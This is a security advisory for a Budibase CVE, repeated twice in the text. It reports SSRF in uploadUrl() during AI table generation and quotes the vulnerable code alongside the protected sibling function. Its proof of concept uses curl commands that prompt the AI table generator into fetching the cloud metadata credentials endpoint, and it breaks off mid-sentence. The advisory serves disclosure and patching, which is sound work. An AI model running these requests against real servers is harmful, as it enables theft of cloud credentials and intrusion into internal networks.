CVE-2026-73307

Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.

Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[email protected]","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call…

Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.

Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[email protected]","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call…